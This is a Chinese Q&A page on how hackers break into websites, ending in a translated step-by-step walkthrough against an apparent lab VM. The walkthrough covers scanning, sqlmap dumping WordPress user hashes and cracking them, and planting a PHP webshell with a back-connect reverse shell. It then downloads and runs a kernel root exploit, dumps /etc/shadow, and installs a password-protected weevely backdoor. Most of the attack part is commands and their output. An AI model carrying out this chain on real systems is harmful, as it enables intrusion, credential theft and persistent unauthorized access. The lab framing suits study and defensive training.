-
1 # 未禿頭的程式設計師
-
2 # 布偶家的皮老闆
駭客們入侵網站普遍的手法/流程
1、資訊收集
Whois 資訊--註冊人、電話、郵箱、DNS、地址
Googlehack--敏感目錄、敏感檔案、更多資訊收集
伺服器 IP--Nmap 掃描、埠對應的服務、C 段
旁註--Bing 查詢、指令碼工具
如果遇到 CDN--Cloudflare(繞過)、從子域入手(mail,postfix)、DNS 傳送域漏洞
伺服器、元件(指紋)--作業系統、web server(apache,nginx,iis)、指令碼語言
透過資訊收集階段,攻擊者基本上已經能夠獲取到網站的絕大部分資訊,當然資訊收集作為網站入侵的第一步,決定著後續入侵的成功。
2、漏洞挖掘
探測 Web 應用指紋--Discuz、PHPwind、Dedecms、Ecshop...
XSS、CSRF、XSIO、SQLinjection、許可權繞過、任意檔案讀取、檔案包含...
上傳漏洞--截斷、修改、解析漏洞
有無驗證碼--進行暴力破解
經過漫長的一天,攻擊者手裡已經掌握了你網站的大量資訊以及不大不小的漏洞若干,下一步他們便會開始利用這些漏洞獲取網站許可權。
3、漏洞利用
思考目的性--達到什麼樣的效果
隱藏,破壞性--根據探測到的應用指紋尋找對應的 EXP 攻擊載荷或者自己編寫
開始漏洞攻擊,獲取相應許可權,根據場景不同變化思路拿到 webshell
4、許可權提升
根據伺服器型別選擇不同的攻擊載荷進行許可權提升
無法進行許可權提升,結合獲取的資料開始密碼猜解,回溯資訊收集
5、植入後門
隱蔽性
定期檢視並更新,保持週期性
6、日誌清理
根據時間段,find 相應日誌檔案
太多太多。。。
說了那麼多,這些步驟不知道你看懂了多少?其實大部分的指令碼小黑顯然不用這些繁瑣的步驟,他們只喜歡快感!通常他們會使用各種漏洞利用工具或者弱口令(admin,admin888)進行攻擊,入侵無果就會選擇睡覺、打飛機或者去做一些其他的事情。當然,這種“駭客”僅僅是出於“快感”而去想入侵你的網站,如果是別有它意的人,麻煩就來了。
-
3 # 未來科技之窗
一般侵入網站分為以下幾個步驟:
1、先確定網站所在的伺服器ip地址及伺服器環境,比如伺服器的作業系統,版本。
2、確定web伺服器端開發語言,是asp還是php,.net,還是jsp等。
3、然後再確定是不是使用流行框架開發的,如果是,就找下流行框架已發現的漏洞,透過已知漏洞,非常簡單就可以侵入。如果不是,透過漏洞掃描軟體,進行探測,尋找網站的漏洞。
4、如果在網站層面不好找漏洞,就需要找下伺服器存在的漏洞。
5、如果伺服器找不到可以突破的漏洞,就找網站站長的相關資訊,比如郵箱,電話,qq等,透過這些資訊尋找站長在其它網站註冊的賬戶。如果在其它網站註冊的賬戶所在的網站比較薄弱,可侵入,然後拿去資料,然後看下,有沒有撞庫的可能。如果有,就可以進入之前的網站。
6、如果以上辦法都不可行,可以瞭解網站所屬的公司,透過侵入公司電腦,從而找尋可以突破的資訊。
7、一些高階手段,如擷取資料包,擷取通訊資料等,處於安全考慮,不做詳述。
回覆列表
這個問題很難回答,簡單的來說,入侵一個網站可以有很多種方法。本文的目的是展示駭客們常用的掃描和入侵網站的技術。
假設你的站點是:hack-test.com
讓我們來ping一下這個伺服器:
我們得到了一個IP地址:173.236.138.113 – 這是我們目標伺服器的IP地址。
Sameip.org 可以幫助我們找到其他與這個伺服器繫結的域名:
Same IP
26 sites hosted on IP Address 173.236.138.113
有26個站點在這臺伺服器上(173.236.138.113)。許多駭客會選擇攻擊在同伺服器上的不同站點從而入侵到你的網站。但是出於為了學習目的,我們只選擇入侵你的伺服器。
我們需要從你的站點得到一下資訊:
1.DNS記錄(A,NS,TXT,MX 和SOA)
2.網站伺服器的型別(Apache,IIS,Tomcat)
3.域名的註冊資訊(哪個公司擁有這個域名)
4.你的名字,地址,EMAIL和電話
5.你的網站上所執行的指令碼型別(PHP,ASP,ASP.NET,JSP,CFM)
6.伺服器的作業系統型別(Unix,Linux,Windows,Solaris)
7.伺服器對外開放的埠(80,443,21,等)
現在讓我們來尋找網站的DNS記錄。選擇網站“Who.is”來實現這個目標。
我們發現站點上的DNS記錄有:
讓我們來檢測一下網站伺服器的型別:
我們可以看到,網站伺服器用的是Apache. 稍後我們會檢測Apache的版本。
HACK-TEST.COM SITE INFORMATION
IP: 173.236.138.113
Website Status: active
Server Type: Apache
Alexa Trend/Rank: 1 Month: 3,213,968 3 Month: 2,161,753
Page Views per Visit: 1 Month: 2.0 3 Month: 3.7
接下來我們來尋找一下域名的註冊資訊:
我們得到了註冊者以及其他重要的資訊。我們可以用Whatweb來檢測你的站點使用的是什麼指令碼語言以及作業系統型別和網站伺服器的版本。
我們可以看到,網站使用的是WordPress,作業系統型別是Fedora Linux,網站伺服器版本是Apache 2.2.15,下面我們來檢測一下伺服器上開啟的埠:
我們使用Nmap:
1.檢測伺服器上執行著哪些服務:
root@bt:/# nmap -sV hack-test.com
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2011-12-28 06:39 EET
Nmap scan report for hack-test.com (192.168.1.2)
Host is up (0.0013s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd 2.2.15 ((Fedora))
MAC Address: 00:0C:29:01:8A:4D (VMware)
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.56 seconds
2.檢測伺服器的OS
root@bt:/# nmap -O hack-test.com
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2011-12-28 06:40 EET
Nmap scan report for hack-test.com (192.168.1.2)
Host is up (0.00079s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE
22/tcp closed ssh
80/tcp open http
MAC Address: 00:0C:29:01:8A:4D (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS details: Linux 2.6.22 (Fedora Core 6)
Network Distance: 1 hop
OS detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.42 seconds
伺服器只開放了80埠,作業系統是Linux 2.6.22(Fedora Core 6)
現在我們已經得到了所有重要的資訊,接下來我們來做一下弱點測試,例如:sql注入,盲注,LFI,RFI,XSS,CSRF,等。
我們用Nikto.pl 來獲取資訊以及弱點:
root@bt:/pentest/web/nikto# perl nikto.pl -h http://hack-test.com
- Nikto v2.1.4
---------------------------------------------------------------------------
+ Target IP: 192.168.1.2
+ Target Hostname: hack-test.com
+ Target Port: 80
+ Start Time: 2011-12-29 06:50:03
---------------------------------------------------------------------------
+ Server: Apache/2.2.15 (Fedora)
+ ETag header found on server, inode: 12748, size: 1475, mtime: 0x4996d177f5c3b
+ Apache/2.2.15 appears to be outdated (current is at least Apache/2.2.17). Apache 1.3.42 (final release) and 2.0.64 are also current.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ 6448 items checked: 1 error(s) and 6 item(s) reported on remote host
+ End Time: 2011-12-29 06:50:37 (34 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
也可以使用W3AF,這個工具可以在Backtrack 5 R1中找到
root@bt:/pentest/web/w3af# ./w3af_gui
Starting w3af, running on:
Python version:
2.6.5 (r265:79063, Apr 16 2010, 13:57:41)
[GCC 4.4.3]
GTK version: 2.20.1
PyGTK version: 2.17.0
w3af - Web Application Attack and Audit Framework
Version: 1.2
Revision: 4605
Author: Andres Riancho and the w3af team.
我們可以插入URL,選擇full audit選項:
稍等片刻,結果就會出現。
網站存在著sql注入漏洞以及其他的漏洞。
讓我們來深入一下sql注入:
http://hack-test.com/Hackademic_RTB1/?cat=d%27z%220
這個地址就是注入點,
我們用sqlmap然後dump所有入侵所需要用到的資料庫資訊
sqlmap –u url
稍等片刻:
選擇“n”繼續:
網站的sql注入型別是error-based Mysql資料庫的版本是5.
加上引數“-dbs”可以找出所有的資料庫:
我們發現了3個數據庫:
用dump –Dwordpress -tables匯出wordpress資料庫表
我們需要匯出“wp_users”表來得到使用者資訊以及密碼的hash,之後我們就可以嘗試著去破解密碼最終登陸到wordpress的後臺。
使用引數 “-T wp_users –columns “
找到了22列的資料:
使用引數 -C user_login,user_pass –dump 來匯出列。
之後我們就得到了賬號密碼。
接來使用這個網站來把MD5轉換成明文密碼(並不是所有HASH都能成功轉換)
“http://www.onlinehashcrack.com/free-hash-reverse.php“
明文密碼是: q1w2e3
使用者名稱 “GeorgeMiller”
讓我們來登陸wordpress的後臺:
現在我們來試著上傳一個php webshell 用來在這臺伺服器上執行一些linux命令
編輯wordpress的“Textile”外掛
編輯它
現在,PHP WEBSHELL就成功運行了。現在就可以瀏覽網站裡所有的檔案了,但是我們想得到伺服器的root許可權然後入侵其他的站點。
選擇 在php webshell 裡的“back-connect “然後連線到我們的ip “192.168.1.6″ 埠 “5555″
我們來試一下linux的命令
id
uid=48(apache) gid=489(apache) groups=489(apache)
pwd
/var/www/html/Hackademic_RTB1/wp-content/plugins
uname -a
Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 7 21:41:45 EST 2009 i686 i686 i386 GNU/Linux
ID命令用來告訴我們使用者ID和使用者組
Pwd命令能告訴我們現在所在的路徑
uname –a 命令用來得到一些資訊以及核心版本
好了,我們現在知道伺服器的核心版本是2.6.31.5-127.fc12.1686
Ok, now we knew that server kernel version is 2.6.31.5-127.fc12.1686
我們可以在 exploit-db.com 找到針對這個版本的exploit
輸入: “kernel 2.6.31 “
以上結果沒有合適的,因為他們都不是用來提權的。下一個,就是它了!
http://www.exploit-db.com/exploits/15285
複製這個連線
http://www.exploit-db.com/download/15285
在netcat shell裡輸入:
wget http://www.exploit-db.com/download/15285 -O roro.c
--2011-12-28 00:48:01-- http://www.exploit-db.com/download/15285
Resolving www.exploit-db.com... 199.27.135.111, 199.27.134.111
Connecting to www.exploit-db.com|199.27.135.111|:80... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: http://www.exploit-db.com/download/15285/ [following]
--2011-12-28 00:48:02-- http://www.exploit-db.com/download/15285/
Connecting to www.exploit-db.com|199.27.135.111|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7154 (7.0K) [application/txt]
Saving to: `roro.c"
0K ...... 100% 29.7K=0.2s
我們用wget命令來獲取exploit-db.com的exploit,-O是重新命名檔案為:roro.c
Note:
Linux核心的exploits大多數都是用c語言開發的所以我們儲存字尾名為.c ,直接瀏覽原始檔就可以直接看見原始碼:
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
#include <string.h>
#include <sys/ptrace.h>
#include <sys/utsname.h>
#define RECVPORT 5555
#define SENDPORT 6666
intprep_sock(intport)
{
ints, ret;
structsockaddr_in addr;
s = socket(PF_RDS, SOCK_SEQPACKET, 0);
if(s < 0) {
printf(“[*] Could not open socket.\n”);
exit(-1);
}
www.2cto.com
memset(&addr, 0, sizeof(addr));
All the above lines indicate that this is exploit is written in C language
After we saved our exploit on server, we will compile it to elf format by typing
我們儲存exploit在伺服器上之後,我們可以編譯它:
gcc roro.c –o roro
然後執行exploit:
./roro
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
[+] Resolved rds_proto_ops to 0xe09f0b20
[+] Resolved rds_ioctl to 0xe09db06a
[+] Resolved commit_creds to 0xc044e5f1
[+] Resolved prepare_kernel_cred to 0xc044e452
[*] Overwriting function pointer...
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
[+] Resolved rds_proto_ops to 0xe09f0b20
[+] Resolved rds_ioctl to 0xe09db06a
[+] Resolved commit_creds to 0xc044e5f1
[+] Resolved prepare_kernel_cred to 0xc044e452
[*] Overwriting function pointer...
[*] Triggering payload...
[*] Restoring function pointer...
Id
這時候我們已經是root許可權了。
uid=0(root) gid=0(root)
載入中...
我們可以瀏覽 /etc/shadow file
cat /etc/shadow
root:$6$4l1OVmLPSV28eVCT$FqycC5mozZ8mqiqgfudLsHUk7R1EMU/FXw3pOcOb39LXekt9VY6HyGkXcLEO.ab9F9t7BqTdxSJvCcy.iYlcp0:14981:0:99999:7:::
bin:*:14495:0:99999:7:::
daemon:*:14495:0:99999:7:::
adm:*:14495:0:99999:7:::
lp:*:14495:0:99999:7:::
sync:*:14495:0:99999:7:::
shutdown:*:14495:0:99999:7:::
halt:*:14495:0:99999:7:::
mail:*:14495:0:99999:7:::
uucp:*:14495:0:99999:7:::
operator:*:14495:0:99999:7:::
games:*:14495:0:99999:7:::
gopher:*:14495:0:99999:7:::
ftp:*:14495:0:99999:7:::
nobody:*:14495:0:99999:7:::
vcsa:!!:14557::::::
avahi-autoipd:!!:14557::::::
ntp:!!:14557::::::
dbus:!!:14557::::::
rtkit:!!:14557::::::
nscd:!!:14557::::::
tcpdump:!!:14557::::::
avahi:!!:14557::::::
haldaemon:!!:14557::::::
openvpn:!!:14557::::::
apache:!!:14557::::::
saslauth:!!:14557::::::
mailnull:!!:14557::::::
smmsp:!!:14557::::::
smolt:!!:14557::::::
sshd:!!:14557::::::
pulse:!!:14557::::::
gdm:!!:14557::::::
p0wnbox.Team:$6$rPArLuwe8rM9Avwv$a5coOdUCQQY7NgvTnXaFj2D5SmggRrFsr6TP8g7IATVeEt37LUGJYvHM1myhelCyPkIjd8Yv5olMnUhwbQL76/:14981:0:99999:7:::
mysql:!!:14981::::::
瀏覽 /etc/passwd file
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
vcsa:x:69:499:virtual console memory owner:/dev:/sbin/nologin
avahi-autoipd:x:499:498:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
rtkit:x:498:494:RealtimeKit:/proc:/sbin/nologin
nscd:x:28:493:NSCD Daemon:/:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
avahi:x:497:492:avahi-daemon:/var/run/avahi-daemon:/sbin/nologin
haldaemon:x:68:491:HAL daemon:/:/sbin/nologin
openvpn:x:496:490:OpenVPN:/etc/openvpn:/sbin/nologin
apache:x:48:489:Apache:/var/www:/sbin/nologin
saslauth:x:495:488:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
mailnull:x:47:487::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:486::/var/spool/mqueue:/sbin/nologin
smolt:x:494:485:Smolt:/usr/share/smolt:/sbin/nologin
sshd:x:74:484:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
pulse:x:493:483:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin
gdm:x:42:481::/var/lib/gdm:/sbin/nologin
p0wnbox.Team:x:500:500:p0wnbox.Team:/home/p0wnbox.Team:/bin/bash
mysql:x:27:480:MySQL Server:/var/lib/mysql:/bin/bash
我們可以用“john the ripper”來破解使用者的密碼,但我們不會這麼做。
駭客需要留一個後門在伺服器上,方便以後訪問。
這裡,我們使用weevely來生成一個小型有密碼的php後門,然後上傳到伺服器上來達到目的。
weevely 用法 :
root@bt:/pentest/backdoors/web/weevely# ./main.py -
Weevely 0.3 - Generate and manage stealth PHP backdoors.
Copyright (c) 2011-2012 Weevely Developers
Website: http://code.google.com/p/weevely/
Usage: main.py [options]
Options:
-h, --help show this help message and exit
-g, --generate Generate backdoor crypted code, requires -o and -p .
-o OUTPUT, --output=OUTPUT
Output filename for generated backdoor .
-c COMMAND, --command=COMMAND
Execute a single command and exit, requires -u and -p
.
-t, --terminal Start a terminal-like session, requires -u and -p .
-C CLUSTER, --cluster=CLUSTER
Start in cluster mode reading items from the give
file, in the form "label,url,password" where label is
optional.
-p PASSWORD, --password=PASSWORD
Password of the encrypted backdoor .
-u URL, --url=URL Remote backdoor URL .
建立一個帶密碼的php後門
root@bt:/pentest/backdoors/web/weevely# ./main.py -g -o hax.php -p koko
Weevely 0.3 - Generate and manage stealth PHP backdoors.
Copyright (c) 2011-2012 Weevely Developers
Website: http://code.google.com/p/weevely/
+ Backdoor file "hax.php" created with password "koko".
透過php webshell上傳一個php後門
上傳完畢之後我們使用一下命令來連線:
root@bt:/pentest/backdoors/web/weevely# ./main.py -t -u http://hack-test.com/Hackademic_RTB1/wp-content/plugins/hax.php -p koko
Weevely 0.3 - Generate and manage stealth PHP backdoors.
Copyright (c) 2011-2012 Weevely Developers
Website: http://code.google.com/p/weevely/
+ Using method "system()".
+ Retrieving terminal basic environment variables .
[apache@HackademicRTB1 /var/www/html/Hackademic_RTB1/wp-content/plugins]
測試我們的 hax.php 後門
[via infosecinstitute 譯ppsbb]